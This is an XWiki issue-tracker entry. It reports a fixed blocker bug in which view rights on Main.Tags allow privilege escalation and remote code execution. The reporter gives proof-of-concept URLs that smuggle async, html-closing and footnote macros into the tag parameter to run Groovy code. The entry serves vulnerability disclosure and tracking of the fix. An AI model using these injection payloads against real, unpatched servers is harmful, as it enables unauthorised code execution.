



# Privilege escalation (PR) with view rights on Main.Tags

## Details

Type:	Bug	Resolution:	Fixed
Priority:	Blocker	Fix Version/s:	13.10.6, 14.4
Affects Version/s:	2.0		
Component/s:	Tag		
Labels:	<a href="#">attack_dataleak</a> <a href="#">attack_escalation</a> <a href="#">attacker_view</a> <a href="#">security</a>		
Development Priority:	High		
Difficulty:	Unknown		
Documentation:	<a href="https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-2g5c-228j-p52x">https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-2g5c-228j-p52x</a>		
Documentation in Release Notes:	N/A		
Similar issues:			

## Description

### Steps to reproduce:

Open <server>/xwiki/bin/view/Main/Tags?

do=viewTag&tag=%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D

### Expected result:

Tags for

```
{{async async="true" cached="false" context="doc.reference"}}{{groovy}}println("hello from groovy!"){{/groovy}}{{/async}}
```

are displayed.

### Actual result:

Tags for hello from groovy! are displayed.

This demonstrates a privilege escalation attack from view rights on Main.Tags to programming rights. This is also a remote code execution attack.

This affects most likely all versions of XWiki containing the async macro (version 11.6RC1 and later) that allows to circumvent the script macro nesting protection. Similar attacks might also be possible with the [job macro](#), this is to be verified.

## Issue Links

is caused by

☒ [XATAG-23](#) Convert Documents to XWiki Syntax 2.0 and fill their title field

CLOSED

links to

[GitHub Security advisory](#)

## Activity

Michael Hamann added a comment - 23/May/22 17:27

Reproducible on XWiki Enterprise 2.0 with the following URL:

```
<server>/xwiki/bin/view/Main/Tags?do=viewTag&tag={{/html}}{{groovy}}println(%2Fhello from groovy!%2F){{%2Fgroovy}}
```

Later versions added XML-escaping (available, e.g., in 3.1) but this didn't prevent closing the HTML macro and XML-escaped groovy is still quite powerful as you can have string literals with `/string/` and the also new nested script macro protection can be circumvented using



the footnote macro, leading to the following URL for reproducing the issue on 3.1:

```
<server>/xwiki/bin/view/Main/Tags?do=viewTag&tag={{/html}}{{footnote}}{{groovy}}println(%2Fhello%20from%20groovy!%2F){{%2F
```


---

▼ People

Assignee:

 Michael Hamann 

Reporter:

 Michael Hamann 

Votes:

0 [Vote for this issue](#)

Watchers:

1 [Start watching this issue](#)

---

▼ Dates

Created:

19/May/22 18:18

Updated:

08/Sep/22 14:25

Resolved:

23/May/22 14:09